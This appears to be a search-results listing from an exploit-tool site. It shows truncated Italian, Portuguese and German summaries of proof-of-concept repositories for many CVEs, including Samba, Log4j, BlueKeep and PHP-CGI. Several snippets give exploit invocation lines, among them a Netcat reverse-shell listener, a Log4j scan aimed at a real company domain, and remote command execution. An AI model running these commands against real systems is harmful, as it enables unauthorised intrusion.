988353 matches found
regreSSHion
Qualys Security Advisory regreSSHion: RCE nel server OpenSSH, su sistemi Linux basati su glibc CVE-2024-6387 ======================================================================== Indice Sommario SSH-2.0-OpenSSH3.4p1 Debian 1:3.4p1-1.woody.3 Debian 3.0r6, del 2005 Teoria Pratica Tempistica...
Log4j-RCE-Exploiter
Log4j-RCE-Exploiter Scanner per Log4j RCE CVE-2021-44228 Installazione Per l'installazione, esegui il seguente comando con SUPERUSER ROOT root@kitploit: ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh Utilizzo root@kitploit: ▶ log4jExploiter -d tesla.com -b...
CVE-2007-2447
CVE-2007-2447 Samba 3.0.20 CVE-2007-2447 Exploit root@kitploit: python3 smb3.0.20exp.py -lh localhost -lp local port -t target Crie um listener Netcat root@kitploit: nc -nlvp 4444 Execute o script root@kitploit: python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...
Exploiting-Samba-on-Metasploitable-2
Explorando-Samba-em-Metasploitable-2 Meu objetivo aqui foi utilizar o metasploit de uma máquina Kali Linux para explorar uma vulnerabilidade bem conhecida do samba CVE-2007-2447. Isso é feito para infiltrar uma máquina Metasploitable 2 com um shell reverso para acessar a pasta root. Uma vez que...
Samba-CVE-2007-2447-Exploit-Username-Map-Script
Samba CVE-2007-2447 Exploit Script de Mapeamento de Usuário Este repositório contém um script Python projetado para automatizar a exploração da vulnerabilidade CVE-2007-2447 em servidores Samba versões 3.0.20 a 3.0.25rc3. Esta ferramenta foi desenvolvida exclusivamente para fins educacionais e pa...
CVE-2021-24086
CVE-2021-24086 Questa è una prova di concetto per CVE-2021-24086 "Windows TCP/IP Denial of Service Vulnerability", un dereferenziamento di NULL in tcpip.sys corretto da Microsoft a febbraio 2021. Secondo questo tweet, la vulnerabilità è stata trovata da @piazzt. È attivabile da remoto inviando un...
CVE-2021-28476
CVE-2021-28476: una vulnerabilità di esecuzione remota di codice da guest a host "Microsoft Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys. Questa è una proof of concept per CVE-2021-28476 "Hyper-V Remote Code Execution Vulnerability", una lettura arbitraria di memoria in vmswitch.s...
CVE-2025-66034
CVE-2025-66034 — fontTools varLib Scrittura Arbitraria di File → RCE PoC exploit per una vulnerabilità di Scrittura Arbitraria di File + Iniezione XML infontTools.varLib Testato su HackTheBox — VarIaType Vulnerabilità fontTools.varLib elabora file XML .designspace per creare font variabili. Due...
CVE-2023-33246
CVE-2023-33246 Vulnerabilidade de execução remota de código no Apache RocketMQ CVE-2023-33246 Exploit Método de uso: java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "open -a calculator" Aviso de isenção de responsabilidade: A ferramenta de detecção é fornecida apenas para uso em testes de...
CNVD-C-2019-48814-CNNVD-201904-961
CNVD-C-2019-48814 und CNNVD-201904-961 Dank an t00ls-ximcx0101 für die Bereitstellung des Skripts CNVD-C-2019-48814 POC Summary Relevante Links: Jianshu-Beitrag von 清水川崎: https://www.jianshu.com/p/c4982a845f55 Weiterleitung von 安全祖师爷: https://dwz.cn/2GQvbUae Aufgrund einiger Umgebungsfaktoren...
CVE-2026-8461
🎬 CVE-2026-8461 — PixelSmash Kritischer Out-of-Bounds-Write im FFmpeg MagicYUV-Decoder Eine bösartige Videodatei kann zur Waffe werden. PixelSmash ist eine kritische Speicherkorruptions-Sicherheitslücke, die den MagicYUV-Decoder von FFmpeg betrifft und es einem Angreifer ermöglicht, einen...
CVE-2025-55182-RCE-Exploit
POC für CVE-2025-55182 – Remote-Code-Ausführung in Next.js 16.0.6 Dieses Repository enthält einen funktionierenden Proof-of-Concept POC für CVE-2025-55182 , eine kritische Deserialisierungsschwachstelle, die Next.js 16.0.6 betrifft. Der Exploit missbraucht die $@-Chunk-Deserialisierung und...
CVE-2019-0709
CVE-2019-0708 BlueKeep Exploit CVE-2019-0708 RCE und Crash Exploit mit Python Crash Exploit Veröffentlicht Usage: python3 crashexploit.py 127.0.0.1 64 RCE Exploit Nicht veröffentlicht Usage: python3 exploitrce.py 127.0.0.1 payload...
CVE-2022-47986
CVE-2022-47986 Aspera Faspex Pre Auth RCE https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/ PoC Nutzung: root@kitploit: python3 poc.py https://xxxxx whoami...
CVE-2021-22893
CVE-2021-22893 Proof-of-Concept PoC-Skript zur Ausnutzung von Pulse Secure CVE-2021-22893. Verwendung Ermöglicht RCE auf Pulse Secure VPNs root@kitploit: chmod +x exploit.sh ./exploit.sh 10.0.0.1 ./exploit.sh -l ./exploit.sh -l IPList.txt...
CVE-2020-1350
Aviso Este repositório foi arquivado e não é mais mantido ativamente. CVE-2020-1350 Este script PowerShell verifica se o seu servidor é vulnerável à falha de Execução Remota de Código CVE-2020-1350 no Serviço DNS do Windows. Sistemas Operacionais Suportados para este script de solução alternativa...
CVE-2019-13633
CVE-2019-13633 Descrição sugerida : Blinger.io v.1.0.2519 é vulnerável a XSS Cego/Persistente. Informações adicionais : Blinger.io - é uma plataforma usada por clientes globais como FxPro, Alfa Bank, OneTwoTrip, Ivi, KupiVIP Group, Belavia, Wargaming, Yandex, OZON, TCS Group Holding e outros...
CVE-2022-0944
CVE-2022-0944 SQLPad - Template-Injection Dies ist eine blinde Schwachstelle, was bedeutet, dass die Ausgabe direkt in der Antwort zurückgegeben wird. Exploit Verwenden Sie das Skript mit dem folgenden Befehl: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username...
CVE-2024-4577
CVE-2024-4577 root@kitploit: usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments:...